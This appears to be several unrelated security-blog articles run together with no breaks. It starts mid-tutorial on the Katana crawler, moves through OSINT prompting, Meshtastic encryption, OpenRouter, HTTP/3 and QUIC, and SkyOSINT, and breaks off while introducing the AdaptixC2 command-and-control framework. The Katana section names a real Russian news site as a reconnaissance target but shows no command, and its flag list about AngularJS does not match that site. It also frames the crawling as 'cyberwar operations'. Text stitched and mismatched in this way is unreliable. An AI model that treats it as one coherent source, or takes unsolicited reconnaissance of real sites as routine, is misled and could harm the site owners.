In contrast, the Headless Mode offers a more thorough crawl by simulating a real browser environment. This mode is especially useful for modern, JavaScript-heavy applications, as it captures both raw and rendered content. By mimicking a legitimate browser fingerprint (including TLS and user-agent headers), it improves coverage and detection of dynamic elements.
You can enable Headless Mode with the -headless flag and customize it further with several options:
-sc / -system-chrome: Use the locally installed Chrome
-sb / -show-browser: Show the browser window during execution
-nos / -no-sandbox: Disable the Chrome sandbox (useful for root users)
-cdd / -chrome-data-dir: Specify a custom Chrome data directory
-scp / -system-chrome-path: Set a specific path to the Chrome executable
-noi / -no-incognito: Disable incognito mode
Basic Website Reconnaissance
Let’s start with a fundamental reconnaissance scenario where we need to map a target website’s structure and discover all accessible endpoints. For this example let’s try to understand application’s structure of Vesti.ru – Russian news website.
-js-crawl: Enables JavaScript execution during crawling to handle AngularJS controllers and directives
-headless: Uses headless Chrome for rendering AngularJS templates and executing digest cycles
-timeout 30: Sets 30-second timeout for page loads to accommodate AngularJS bootstrapping
-delay 2: Adds 2-second delay between requests to allow AngularJS routing transitions
Known Files Discovery
Crawl for common files like robots.txt and sitemap.xml that often reveal valuable information about website structure and hidden content. These files can provide insights into:
robots.txt: Disallowed directories and files that may contain sensitive information
sitemap.xml: Complete site structure including pages not linked from main navigation
Other discovery files: Common configuration files, backup files, and administrative interfaces
kali> katana -u https://example.com -known-files all -d 3
Note that a minimum depth of 3 is required to ensure comprehensive discovery of all known files across the target application.
Filtering Capabilities
Katana offers robust filtering features that help users process, refine, and manage crawl output with precision. These capabilities make it easy to isolate valuable data, reduce noise, and tailor results to match specific goals.
Users can filter output by specific fields, include or exclude URLs based on extensions or regular expressions, and even define custom fields using a YAML configuration file. This flexibility is crucial for handling the often large volume of data produced during a crawl, ensuring that users can focus on the most relevant information.
Some key filtering options include:
-field or -f: Display specific fields (e.g., url, path, fqdn, rdn)
-store-field or -sf: Save selected fields to disk
-extension-match or -em: Show only URLs with specific file extensions
-extension-filter or -ef: Exclude URLs with specific file extensions
-match-regex or -mr: Include URLs that match a regex pattern
-filter-regex or -fr: Exclude URLs that match a regex pattern
Example: To extract only .js URLs (including those with query parameters) and save their full URLs to a file, you could run:
Whether you’re conducting penetration tests, bug bounty research, or comprehensive cyberwar operations, Katana’s advanced capabilities and modern architecture make it an essential addition to your hacking toolkit.
If you’re serious about sharpening your offensive security skills, consider our Subscriber Pro package. It’s designed to take your expertise to the next level.
Every OSINT investigator now has access to a large language model on their desktop. This tool can quickly summarize thousands of pages or organize chaotic names and dates into a clear timeline. And this is widely accepted. But the difference between an investigator who gets useful results and one who gathers unhelpful information lies not in the model they use, but in how they interact with it.
This article explains how to create prompts that improve your OSINT work. It draws on recent academic research about prompting strategies for security tasks and insights from experienced OSINT practitioners. Let’s get rolling!
Prompt Is More Important Than the Model
Recent research on large language models in offensive security tasks highlights an important point. Methods that relied on reasoning, such as few-shot and chain-of-thought prompting, produced better results. These methods generated code that closely matched the reference examples, executed correctly, and handled various situations well.
One surprising finding was that continuously refining a prompt or asking the model to rethink its answer often resulted in worse outcomes. This happened because rephrasing the prompt misinterpreted the original task and lowered the accuracy of the output. So, repeatedly saying “try again” or “are you sure” is not an effective debugging strategy. If your first prompt was unclear, it is better to follow up with a clear and structured prompt rather than trying to steer the model to a better answer afterward.
Focus on crafting clear instructions at the beginning.
Create a Master Prompt Before You Begin
Before discussing a specific OSINT case, it’s a good practice to create a master prompt. This set of rules, though not related to the target, guides how the model should perform during the session.
This approach uses a well-known idea called anchoring. The first instructions you give to a model have a big influence on all the following interactions. If your first message includes a leading assumption, the model will consider that assumption important for the rest of the conversation, even if you didn’t mean for it to be.
A strong master prompt might look something like this.
Act as a neutral OSINT analyst. Do not treat any hypothesis as proven. Separate facts, indicators, assumptions, and conclusions. Look for evidence against a theory as actively as evidence for it. If the available data is insufficient, say so directly instead of filling the gap.
In other words, this is the initial set of instructions that the AI will follow throughout the entire time you’re working on the task. This reduces the number of errors because it explains to the model in advance exactly how to proceed and which rules to follow.
Basically, a master prompt should specify:
the role;
the goal of the task;
neutrality;
verification rules;
the response format;
a prohibition on unconfirmed conclusions and fabrications;
a requirement to distinguish facts from hypotheses;
a requirement to indicate what is missing.
And then you can set a specific task: what you’re looking for, who you’re looking for, what time period you’re covering, what sources you already have, and so on.
Ask Neutrally
One important but often overlooked issue in AI-assisted open-source intelligence is sycophancy. This happens when a model tends to agree with what the user already believes. For example, if you ask, “prove that this person is connected to this company,” the model starts with the answer you want before it even begins its search. It will look for information that confirms your belief simply because that’s what you asked for.
To fix this, you need to change how you phrase your requests. Instead of using words like “prove,” “confirm,” or “expose,” use “check” or “assess.” Don’t present your suspicions as facts. Phrases like “I already know” or “I am certain” lead the model to validate your beliefs rather than question them. Instead, ask it to build arguments for and against your theory, suggest different explanations, and counter your own ideas.
Specific Prompts You Can Use in Your Own Investigations
Theory is useful, but what most investigators actually want is something they can paste into a chat window tonight. Below are working examples for common OSINT tasks.
For digging into a person’s background, a strong prompt reads something like this.
Act as a neutral OSINT analyst. I am researching a public figure named [name], active in [industry or region]. Using only the material I provide below, build a table of confirmed facts with a source for each one. Separate anything that is an inference or a pattern from anything that is a documented fact. Flag contradictions between sources. Do not draw a conclusion about the person's character or intentions, only report what the material actually supports.
For sorting through a pile of scraped social media posts or forum threads, the goal is structure and pattern detection rather than interpretation.
Read the following set of posts and extract every name, date, location, and organization mentioned. Group them into a timeline ordered by date. Note any account that repeats phrasing found in another account, since that may indicate coordinated rather than organic activity, but do not conclude that it is coordinated, only flag it for review.
For checking a corporate or business connection, the earlier example from this article works well as a template, but it is worth repeating in full because it demonstrates every rule at once.
Assess a possible connection between [subject] and [company] between 2020 and 2025. Use only the material provided. Produce a table with columns for fact, source, supporting detail, confidence level, and what still needs verification. Search for evidence against the connection as thoroughly as evidence for it. List the weak points in the theory separately at the end.
For translating and analyzing foreign language material, always ask for the original text alongside the translation, since that preserves your ability to verify tone, sarcasm, and slang later.
Translate the following text into English. Preserve the original text beside the translation. If any phrase relies on slang, sarcasm, or local idiom that may not translate directly, mark it and explain the likely intended meaning separately from the literal translation.
For comparing multiple documents or reports covering the same event, the model’s strength is spotting overlap and divergence quickly, provided you tell it not to resolve the divergence for you.
Compare the following three reports about the same event. List every claim that all three sources agree on, every claim only one source makes, and every direct contradiction between them. Do not decide which source is correct, only present the disagreement clearly.
And for stress testing your own working theory before it goes into a report, a short adversarial prompt catches more mistakes than another hour of reading.
Here is my working theory: [state theory]. Argue against it as convincingly as you can, using only the evidence already provided in this conversation. Then list what additional evidence, if it existed, would be needed to make the theory solid.
Summary
Carefully written prompts that encourage reasoning are more effective than careless, repetitive prompts. Another important point is that a claim from the model is just a suggestion, not a fact, until you check the source yourself. Even as the tool improves, it’s still your job to decide what is a true finding and what is just a coincidence.
We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have. There’s no reason to resist AI. It’s a tool to master.
Your messages travel through the mesh network, jumping from device to device, and might stay unencrypted. You need to understand how Meshtastic encryption works and how to set it up correctly, because a poorly configured mesh network can expose your communications to anyone with a compatible radio and basic technical knowledge.
In this article, we will explore the encryption options that Meshtastic provides for group communication and direct messages. Let’s get rolling!
Step #1: Setting Up Your Hardware with the Android Meshtastic App
In this demonstration, I will use the LilyGo T-Echo device and LilyGo T3 V1.6.1 (often labeled T-LoRa V2 1.6). However, you can use any other Metastatic-compatible device. Just make sure your device is running firmware version 2.5.0 or later to use the improved security features. When you connect the device to the Meshtastic app, the firmware version will be displayed.
Step #2: Configuring Pre-Shared Keys for Chat Channels
Chat Channels represent the primary method of group communication in Meshtastic networks. Each channel uses a Pre-Shared Key (PSK) that all participants must possess to participate in the conversation. The PSK serves as the encryption key (specifically AES256-CTR), while the channel is identified by a hash derived from both the PSK and the channel name. This means only devices with the correct PSK can decrypt messages sent on that channel, though it’s important to understand that the encrypted packets themselves are still broadcast over the radio and visible to anyone in range; they just can’t decrypt them without the PSK.
The default channel on a fresh Meshtastic installation (typically called “LongFast”) uses a well-known PSK (AQ==, which is simply a single null byte) that provides no real security whatsoever. Anyone with a Meshtastic device can receive and decrypt messages sent on the default channel, making it suitable only for public announcements or testing purposes. For any sensitive communications, you must configure custom channels with randomly generated PSKs that are shared only with trusted participants.
To create a secure channel, we need to open Settings and then the Channels section. At the bottom-right corner, you’ll see a plus sign, click on it, and you’ll see a screen like below.
Here, you need to specify a Channel name; in my case, it’ll be just “Secure”. Immediately after entering the name, the app will generate a random PSK automatically. That’s all, click Save.
You’ll be returned to the Channels settings, and click on Send. Now, the channel is ready, and the only thing we need to do is share this channel configuration with other participants who should have access. The easiest method is to generate a QR code that other users can scan with their Meshtastic apps to automatically configure the same channel settings, including the PSK.
To do so, change the tab to Conversations and click on the QR-Code icon; you’ll see a window like below.
Now, any messages you send on this channel will be encrypted with AES256 using that channel’s PSK, and only devices with the correct PSK will be able to decrypt and read them.
Remember: while your messages are encrypted, the radio transmissions are still broadcast publicly. Encryption prevents eavesdroppers from reading the content, but doesn’t hide the fact that communication is occurring.
Step #3: Public Key Cryptography for Direct Messages
Direct Messages in Meshtastic firmware version 2.5.0 and later utilize Public Key Cryptography (PKC) to provide authenticated and encrypted one-to-one communications between devices. Unlike channel communications, where all participants share the same password (PSK), Direct Messages use a more sophisticated system where each device has its own unique public and private key pair based on Curve25519 and Ed25519 cryptography.
When you send a Direct Message to another device, Meshtastic uses a hybrid encryption approach for efficiency:
A random AES session key is generated for that specific message
Your message is encrypted using that session key with AES
The session key itself is encrypted using Curve25519 key agreement with the recipient’s public key
The message is digitally signed using your Ed25519 private key
Source: https://meshtastic.org/
This ensures that only the recipient with the corresponding private key can decrypt the session key (and thus the message), providing confidentiality. The digital signature allows the recipient to verify that the message actually came from you and has not been tampered with in transit, providing authentication.
Important note: While the message content is encrypted, metadata such as sender ID, recipient ID, and timestamps remain visible to anyone monitoring the radio network. This is inherent to how mesh routing works.
The good news is that enabling Public Key Cryptography for Direct Messages requires almost no configuration on your part when using the Android app! In firmware version 2.5.0 and later, the device automatically generates its key pair when you first power it on with the updated firmware, and keys are automatically exchanged with other devices as needed through the mesh network.
Summary
In this article, we covered Pre-Shared Keys for securing group chat channels and Public Key Cryptography for protecting Direct Messages on your Meshtastic device. By implementing these encryption mechanisms, you can achieve decentralized communications where message content is protected from eavesdropping and tampering.
Welcome back, aspiring cyberwarriors and AI enthusiasts!
As we know, the world of LLMs is constantly shifting. LLMs that shine today may become slower or be surpassed as quickly as the next day or month. To help simplify the process of navigating these changes over time, you can turn to OpenRouter.
OpenRouter offers a unified API that allows seamless access and routing among hundreds of LLMs. It also features tools for cost management and fallback options, allowing you to control your LLM spending and optimize performance effectively.
In this article, we will delve into how OpenRouter operates, weigh its pros and cons, and guide you on how to get started. Let’s get rolling!
OpenRouter Architecture: How It Works
When you use OpenRouter, your request never talks to OpenAI or Anthropic directly. It talks to OpenRouter first. OpenRouter acts as a proxy and decides where your request should go, applies your preferences, and hands back one clean response. Let’s walk through how that actually happens, step by step.
It all starts on your end. You make one API call, send your prompt, pick a model (or just let OpenRouter handle that decision), and set whatever parameters you’d normally use.
From there, the request hits OpenRouter’s routing layer, and this thing has to think fast, we’re talking milliseconds. First it checks whether you asked for a specific model or told OpenRouter to optimize on your behalf. Then it starts comparing notes: which provider has the best price right now, which endpoint is fastest at this exact moment, whether your preferred model is even available. If it’s not, routing already has a backup lined up. It also looks at what’s worked well before, so a provider with a strong track record on similar requests tends to get picked more often.
Once that decision is made, your request goes out to an actual provider, maybe OpenAI, maybe Anthropic, maybe Mistral, or really any of the 400-plus models sitting in OpenRouter’s catalog. And here’s what I find genuinely clever about the whole setup: the provider has no idea anything unusual is going on. As far as they’re concerned, it’s just a normal request. They process it, send back a response, done.
That response then makes its way back to OpenRouter, gets cleaned up and put into a consistent format, and lands in your application, no matter which provider actually did the work behind the scenes.
Get Started with OpenRouter
To send requests, you first need to create an account on OpenRouter and obtain your API key. Head over to the official OpenRouter website to sign up.
OpenRouter gives you two ways to start using it. There’s a free tier that grants access to a range of models, so you can start experimenting without spending anything. If you need paid models or services, you simply add pay-as-you-go credits and only pay for what you use.
Once you’ve decided how you’ll use it, the next step is getting your API key. Head to the dashboard, find the “API keys” option, and click “New Key.” A dialog box will pop up showing your new key. Copy it right away and store it somewhere safe.
Making Your First API Call in OpenRouter
To make your first API call to OpenRouter, we’ll utilize the Python programming language. I assume you have some familiarity with it; if not, we offer a series of articles and courses to help you get up to speed. You don’t need to be an expert, but it’s important to grasp concepts such as making HTTP requests and working with JSON responses.
We’ll be using the openai Python package to connect with OpenRouter’s API, and we’ll also incorporate python-dotenv to manage environment variables securely. Additionally, I suggest setting up a Python virtual environment for a smoother experience.
kali> python3 -m venv myenv
kali> source myenv/bin/activate
kali> pip install requests openai python-dotenv
Create an .env file in your project directory and add your OpenRouter key like this:
OPENROUTER_API_KEY=your_api_key
After that, we’re ready to start testing. To do so, we can create a simple script like the one below.
Once you run this script as you typically would with any Python script, you’ll receive a response similar to the one below.
I hope this gives you an idea. OpenRouter features good documentation that covers a lot, and your potential outcomes are only limited by your imagination.
Previously, we discussed how to utilize OpenRouter to create an autonomous AI agent that employs a reasoning loop to streamline OSquery threat hunting. This process transforms raw system data into forensic conclusions at machine speed. You can find more details on this topic here. The process is generally quite straightforward. Additionally, take some time to explore other applications of OpenRouter in the article titled “Targeting LLM Supply Chains with Router-in-the-Middle Attacks.”
What Specific Models Does the OpenRouter API Offer?
OpenRouter provides access to an extensive catalog, featuring over 400 models sourced from various providers. In addition to the well-known chat models, OpenRouter organizes its offerings into collections based on specific use cases. You can explore dedicated sections for vision and multimodal models that analyze images and interpret charts, as well as embedding models designed for semantic search and RAG pipelines. There are also models for video and audio generation, along with text-to-speech and transcription capabilities.
However, figuring out which model to choose and estimating your monthly costs can still be a challenge. To address this, OpenRouter has released its own benchmarks. They maintain five leaderboards that operate on production endpoints, four of which focus on fixed models, allowing you to compare the configurations you actually control.
Another useful feature is the model comparison tool, which lets you select models that interest you and find the best fit for your needs.
How Does OpenRouter Manage Data Privacy and Security While Routing Requests?
When your data reaches OpenRouter, it first hits their servers before being forwarded to the provider that handles the actual inference, such as Anthropic or OpenAI. OpenRouter processes the prompt to route it correctly and log usage, then sends that same prompt to the downstream provider to generate a response. It is important to note that the retention and training policies that apply to your data are a blend of both OpenRouter’s and the provider’s practices, meaning OpenRouter’s privacy settings tell only part of the story.
By default, OpenRouter does not retain your prompts. They only store your prompts or responses if you specifically choose to opt in for logging. There are two distinct opt-in options available. One allows you to view your own prompts and completions in your logs for debugging, while the other gives OpenRouter permission to use your prompt and completion data to enhance the product. This latter option is turned off by default but offers a small usage discount if you enable it. Neither of these options is activated unless you decide to do so.
Additionally, there is a feature called Anonymous Input Categorization. With this feature, OpenRouter samples a small number of prompts for categorization, which helps in reporting and model ranking. If you have not opted in for OpenRouter to use your inputs and outputs, any categorization of your prompts should be stored anonymously and should never be linked to your account or user ID. This categorization is conducted by the model with a strict zero-data-retention policy.
Zero Data Retention, or ZDR, means that OpenRouter will only route your requests to endpoints from providers that do not store your data, and these providers also cannot use your data for training purposes.
Pros and Cons of OpenRouter
The greatest advantage of OpenRouter lies in its convenience. With just one API, you gain access to a multitude of models from OpenAI, Anthropic, Google, and more, eliminating the hassle of managing multiple integrations. It automatically handles failovers, rerouting requests if a provider goes down, and simplifies cost optimization by allowing you to easily compare prices and choose options that fit within your budget.
On the flip side, the main concerns revolve around trust and control. Each request now passes through an additional layer before reaching the actual provider, which introduces another party into your privacy framework.
Summary
OpenRouter has several important benefits for cybersecurity work. By not relying on just one provider, you lower your risk if that provider is breached or goes down. The automatic failover feature keeps your tools running even if a model provider has an outage.
It’s also useful for testing. You can run the same security task on different models without having to rebuild anything each time.
I recommend trying this tool; it might be a great fit for your cybersecurity toolkit.
For decades, traditional HTTP traffic over TCP, also known as HTTP/1 and HTTP/2, has been the backbone of the web, and we have tools to analyze, intercept, and exploit it. But nowadays, we have HTTP/3, which is steadily increasing adoption across the web. In 2022, around 22% of all websites used HTTP/3; in 2025, this number increased to ~40%. And as cyberwarriors, we need to stay ahead of these changes.
In the article, we briefly explore what’s under the hood of HTTP/3 and how we can get in touch with it. Let’s get rolling!
What is HTTP/3?
HTTP/3 is the newest version of the Hypertext Transfer Protocol. Browsers, applications, and APIs use this system to move data across the Internet. What sets HTTP/3 apart is its break from TCP, the transport protocol that has powered the web since its earliest days.
The Problem with TCP
TCP (Transmission Control Protocol) is reliable but inflexible. It prioritizes accuracy over speed. It ensures all data arrives in perfect order, even if that slows the whole connection.
Each session requires a multi-step handshake. If one packet gets delayed, everything behind it must wait. This worked for email. It’s a poor fit for modern, high-speed web traffic.
How QUIC Solves It
HTTP/3 uses QUIC (Quick UDP Internet Connections) to overcome these limitations. QUIC is a transport protocol built on UDP. Engineers designed it for a fast, mobile, and latency-sensitive Internet.
QUIC minimizes handshake overhead. It avoids head-of-line blocking. And it encrypts nearly the entire connection by default, right from the start.
After years of development, the IETF officially standardized HTTP/3 in 2022. Today, it’s widely implemented across major browsers, cloud platforms, and an ever-growing number of web servers.
What Is QUIC?
Traditional web traffic follows a predictable pattern. A client starts a TCP three-way handshake. Then it performs a TLS handshake over that connection. Finally, it begins sending HTTP requests.
QUIC collapses this entire process into a single handshake. This handshake combines transport and cryptographic negotiation. The first time a client connects to a server, it can establish a secure connection in just one round trip.
On subsequent connections, QUIC can achieve zero-round-trip-time resumption. This means the client can send encrypted application data in the very first packet.
The protocol encrypts almost everything except a minimal connection identifier. TLS over TCP exposes TCP headers, sequence numbers, and acknowledgments in plaintext. QUIC, by contrast, encrypts packet numbers, acknowledgments, and even connection close frames. This encryption-by-default approach significantly reduces the metadata available for traffic analysis.
QUIC also implements connection migration. This feature allows a connection to survive network changes. If a user switches from WiFi to cellular, or their IP address changes due to DHCP renewal, the QUIC connection persists. It does this using connection IDs rather than the traditional four-tuple: source IP, source port, destination IP, and destination port.
QUIC Handshake
The process begins when the client sends its Initial packet. This first message contains the client’s supported QUIC versions, the available cipher suites, a freshly generated random number, and a Connection ID. This ID is a randomly chosen identifier. It remains stable even if the client’s IP address changes.
Inside this Initial packet, the client embeds the TLS 1.3 ClientHello message. It also includes QUIC transport parameters and the initial cryptographic material needed to start key negotiation. If the client has connected to the server before, it may even include early application data, such as an HTTP request, to save an extra round trip.
Server Response
The server then responds with its own set of information. It chooses one of the client’s QUIC versions and cipher suites, provides its own random number, and supplies a server-side Connection ID along with its QUIC transport parameters. This response embeds the TLS 1.3 ServerHello, which contains the cryptographic material needed to derive shared keys. The server also sends its full certificate chain, including the server certificate and the intermediate certificate authorities (CAs) that signed it. It may optionally include early HTTP response data too.
Certificate Verification and Connection Setup
Once the client receives the server’s response, it begins certificate verification. It extracts the certificate data and the accompanying signature, identifies the issuing CA, and uses the appropriate root certificate from its trust store to verify the intermediate certificates and, ultimately, the server’s certificate.
To do this, the client hashes the received certificate data using the algorithm the certificate specifies. It then checks whether this computed hash matches the one it can verify with the CA’s public key. If the values match, and the certificate is valid for the current time period and domain name in use, the client can trust that the server is genuine.
At this point, the client derives the QUIC connection keys using the TLS key schedule. It sends its TLS Finished message inside another QUIC packet. Once this exchange completes, the connection is fully ready for encrypted application data.
Encrypted Communication Begins
From this moment onward, the established session keys encrypt all traffic between client and server. Unlike traditional TCP combined with TLS, QUIC doesn’t require a separate TLS handshake phase. Instead, QUIC tightly integrates TLS into its own handshake, eliminating extra round trips.
One major advantage of this design is that both the server and client can include actual application data, such as HTTP requests and responses, within the handshake itself. As a result, certificate validation and connection establishment happen in parallel with the initial exchange of real data. This makes QUIC both faster and more efficient than the older TCP+TLS model.
How Does QUIC Network Work?
The image below shows the basic structure of a QUIC-based network. As illustrated, HTTP/3 requests, responses, and other application data all travel through QUIC streams. These streams are encapsulated in several logical layers before being transmitted over the network.
Anatomy of a QUIC Stream
A UDP datagram serves as the outer transport container. It has a header with the source and destination ports, along with length and checksum information. It carries one or more QUIC packets. This is the fundamental unit transmitted between the client and server across the network.
A QUIC packet is the unit contained within a UDP datagram. Each datagram may carry one or more of them. Every QUIC packet consists of a QUIC header along with one or more QUIC frames.
The QUIC Header
The QUIC header contains metadata about the packet and comes in two formats. The long header is used during connection setup, while the short header is used once the connection is established. The short header includes the connection ID, packet number, and key phase. The key phase indicates the encryption keys in use and supports key rotation. Packet numbers increase continuously for each connection and key phase.
Frames and Streams
A frame is the smallest structured unit inside a QUIC packet. It contains the frame type, stream ID, offset, and a segment of the stream’s data. Although the data for a stream is spread across multiple frames, the receiver can reassemble it in the correct order using the connection ID, stream ID, and offset.
A stream is a unidirectional or bidirectional channel of data within a QUIC connection. Each QUIC connection can support multiple independent streams, each identified by its own ID. If a QUIC packet is lost, only the streams carried in that packet are affected. All other streams continue uninterrupted. This independence eliminates the head-of-line blocking seen in HTTP/2. Streams can be created by either endpoint and can operate in both directions.
HTTP/3 vs. HTTP/2 vs. HTTP/1: What Actually Changed?
To understand the significance of HTTP/3, it helps to first consider the limitations of its predecessors.
HTTP/1.1, the original protocol still used by millions of websites, handles only one request per TCP connection. This forces browsers to open and close multiple connections just to load a single page, resulting in inefficiency, slower performance, and high sensitivity to network issues.
HTTP/2 introduced major improvements, including multiplexing, which allows multiple requests to share a single TCP connection, as well as header compression and server push. These changes provided significant gains, but the protocol still relies on TCP, which has a fundamental limitation: if one packet is delayed, the entire connection pipeline stalls. This phenomenon, known as head-of-line blocking, cannot be avoided in HTTP/2.
HTTP/3 addresses this limitation by replacing TCP with a more advanced transport layer. Built on QUIC, HTTP/3 establishes encrypted sessions faster, typically requiring only one round-trip instead of three or more. It eliminates head-of-line blocking by giving each stream independent flow control, allowing other streams to continue even if one packet is lost. It can maintain sessions through IP or network changes, recover more gracefully from packet loss, and even support custom congestion control tailored to different workloads.
In short, HTTP/3 is not merely a refined version of HTTP/2. It is a fundamentally redesigned protocol, created to overcome the limitations of previous generations, particularly for mobile users, latency-sensitive applications, and globally distributed traffic.
Get Started with HTTP/3
Modern versions of curl (7.66.0 and later, with HTTP/3 support compiled in) can test whether a target supports QUIC and HTTP/3. Here’s how to probe a server:
kali> curl –http3 -I https://www.example.com
This command attempts to connect using HTTP/3 over QUIC, but will fall back to HTTP/2 or HTTP/1.1 if QUIC isn’t supported.
Besides the theory, it’s also useful to see how QUIC traffic looks “in the wild.” One of the easiest ways to do this is by using Wireshark, a popular tool for analyzing network packets.
QUIC encrypts most of its payload. Even so, Wireshark can still identify QUIC packet types, versions, and some metadata. This helps us understand how a QUIC connection is established.
To start, open Wireshark and visit a website that supports QUIC. Cloudflare is a good example because it widely deploys HTTP/3 and the QUIC protocol. QUIC typically runs over UDP port 443. The simplest filter to confirm that you are seeing QUIC traffic is:
udp.port == 443
This filter shows all UDP traffic on port 443, which almost always corresponds to QUIC when dealing with modern websites.
QUIC uses different packet types during different stages of the connection. Even though the content is encrypted, Wireshark can still distinguish these packet types.
To show only Initial packets, which are the very first packets exchanged when a client starts a QUIC connection, use:
quic.long.packet_type == 0
Initial packets are part of QUIC’s handshake phase. They are somewhat similar to the “ClientHello” and “ServerHello” messages in TLS, except QUIC embeds the handshake inside the protocol itself.
If you want to view Handshake packets, which continue the cryptographic handshake after the Initial packets, use:
quic.long.packet_type == 2
These packets help complete the secure connection setup before QUIC switches to encrypted “short header” packets for normal data (like HTTP/3 requests and responses). Also, QUIC has multiple versions, and servers often support more than one. To see packets that use a specific version, try:
quic.version == 0x00000001
This corresponds to QUIC version 1, which is standardized in RFC 9000. By checking which QUIC version appears in the traffic, you can understand what the server supports and whether it is using the standardized version or an older draft version.
Summary
QUIC isn’t just an incremental upgrade. It’s a complete reimagining of how modern internet communication should work. The traditional stack of TCP, TLS, and HTTP/2 served us well for many years. But it was never designed for the realities of today’s internet: global-scale latency, constantly changing mobile connections, and the growing demand for both high performance and strong security. QUIC was built from the ground up to address these challenges, making it faster, more resilient, and more secure for the modern web.
Keep coming back, aspiring cyberwarriors, as we continue to explore how fundamental protocols of the internet are being rewritten.
Space has become a contested domain. Thousands of satellites from various nations and commercial operators now compete for limited orbital slots. The lines between peaceful and military-use spacecraft are increasingly blurred. This creates significant challenges for analysts monitoring orbital activity.
Publicly available data, mainly Two-Line Element (TLE) sets from the US Space Force, provide an object’s location and trajectory. However, these data do not clarify whether behavior is normal, has changed, or what it might indicate.
Detecting an orbital maneuver using raw TLE data requires comparing historical element sets. It also involves predicting future positions and identifying differences between predicted and actual orbits. To link any maneuver to geopolitical events, like military exercises, analysts need additional layers of open-source analysis that basic tracking tools do not provide. SkyOSINT addresses both challenges: it helps with the technical detection of maneuvers and the correlation of intelligence.
In this article, we will explore what SkyOSINT is and how to get started with satellite tracking. Let’s get rolling!
What Is SkyOSINT?
SkyOSINT is an online platform that tracks over 15,000 objects in Earth orbit in real-time. It goes beyond just showing where these objects are; it combines location data with behavioral analysis, radio frequency (RF) monitoring, and geopolitical insight. Instead of just telling you where something is, SkyOSINT helps answer tougher questions: What’s this object up to? Is what it’s doing normal? And what does that mean in a wider geopolitical context?
Space OSINT and Space Domain Awareness
Space Situational Awareness (SSA) is all about knowing where objects in orbit are located, and it has been a key focus for the military and civil sectors since the Cold War. The U.S. Space Surveillance Network has been tracking these orbital objects since the 1950s and now monitors tens of thousands of satellites, rocket parts, and debris. Until recently, though, this information was mostly used to avoid collisions and manage catalogs rather than for intelligence analysis.
Space Domain Awareness (SDA) is a bigger concept that the U.S. Department of Defense formally adopted around 2019. It goes beyond just tracking locations to also understand the status, capabilities, and intentions of objects in orbit.
Another important aspect to understand is the TLE set. The Two-Line Element set (TLE) is the standard format for describing a satellite’s orbital details. The U.S. Space Force publishes TLEs for every tracked object in its catalog. A TLE includes six Keplerian orbital elements: inclination, right ascension of the ascending node, eccentricity, argument of perigee, mean anomaly, and mean motion. Together, these explain an object’s orbit at a specific time known as the epoch. By using these elements with the SGP4 propagation model, software can predict the object’s position at any future time.
Why Maneuver Detection Matters
When a satellite maneuvers and changes its orbit by firing thrusters, it is signaling something important. The type, strength, and timing of the maneuver all hold intelligence value. Routine moves, such as station-keeping for geostationary satellites to maintain their positions, are expected and not particularly significant. However, a maneuver that alters a satellite’s orbital plane, significantly changes its altitude, or brings it close to another object could be noteworthy.
Spotting these maneuvers from public TLE data can be problematic. TLEs come with measurement noise, get updated at random intervals, and use a simplified gravitational model. It takes advanced statistics to separate genuine maneuvers from noise and to determine the direction and size of a change in velocity known as delta-v. This is a core analysis function that SkyOSINT handles.
The RF Intelligence Layer
Positional tracking tells you where a satellite is located. At the same time, radio frequency monitoring shows whether it is communicating, which frequency bands it uses, and whether those signals match what operators have publicly announced. Radio Frequency Intelligence, or RFINT, has traditionally been the area of national signals intelligence agencies. However, with accessible software-defined radio technology, even hobbyists and open-source RF monitoring have become important contributors to the field of space intelligence.
When a satellite starts transmitting on a new frequency, increases its signal strength, or is detected communicating when it should be quiet, it is showing unusual behavior that can be very significant. By combining this RF data with positional information, we can confirm whether a satellite is active, determine its operational phase, and sometimes even link its actions to events on the ground below.
Get Started with SkyOSINT
To start tracking satellites, open the website https://skyosint.io/ in your browser. You will see a webpage similar to the one below.
By scrolling down, we can see how many foreign satellites are passing over US territory and which country they belong to.
In addition, we can see the core OSINT capabilities of this tool. We’ll explore these capabilities in practice a bit later. For now, let’s check the overflight report.
SkyOSINT provides very clear statistics. As shown in the screenshot above, there are currently over 1,200 Russian satellites flying over the U.S. at the time of writing this article. Additionally, we can see satellite classifications, passes near major cities, exact times, and the most active satellites, including their names, NORAD IDs, inclinations, periods, passes, and types.
When you return to the main page and scroll down, you will also see active conflict zones and key locations.
Let’s click Ukraine to monitor.
A pop-up will appear as shown below; you can click Start Exploring.
Here we can see five satellites, represented as green dots. By clicking on them, you’ll see additional information about each one on the right side of the screen.
We can observe not only satellites but also GPS threats like jamming or spoofing.
In addition, SkyOSINT offers a dark mode and displays streets along with restricted zones. With satellite imagery, we can observe both civil and military aircraft.
Summary
SkyOSINT represents a significant advancement in making space intelligence more accessible. Previously, the ability to detect orbital maneuvers, monitor radio frequency (RF) signals, and link space activities with geopolitical events was largely held by national space agencies, defense contractors, and well-funded commercial Space Domain Awareness (SDA) firms. While the data itself has been open, the analytical tools needed to derive meaningful insights from it were not readily available.
With SkyOSINT, those analytical tools are now offered through an easy-to-use web-based platform. Analysts who are knowledgeable in this field can now monitor the behavior of over 15,000 space objects.
If you’re looking to enhance your OSINT skills, consider exploring our OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.
At Hackers-Arise, we’ve previously examined various command and control frameworks, including Havoc and Sliver. The market is filled with numerous options, each presenting its unique advantages and drawbacks. And while news about another C2 may not typically raise eyebrows among cyberwarriors, AdaptixC2 stands out as an exception worth attention.
In this article, we’ll delve into the features of AdaptixC2 and guide you through the installation and initial configuration process on Kali Linux. Let’s get rolling!
AdaptixC2 – Overview
AdaptixC2 is a red teaming tool designed for adversarial actions, offering a wide range of customization options. If a cyberwarrior were to utilize this tool, they would gain extensive control over the affected machines. This control allows them to manipulate the file system, manage directories, and create, modify, or delete files and folders at will. Moreover, they can enumerate running processes, terminate specific applications, and launch new programs. Such capabilities allow threat actors to establish a foothold within the environment, delve deeper into the compromised system, and maneuver laterally across the network.
To facilitate covert communication and bypass network restrictions, the framework contains tunneling features, including SOCKS4/5 proxy functionality and port forwarding. These options enable cyberwarriors to maintain communication channels even in heavily secured environments.
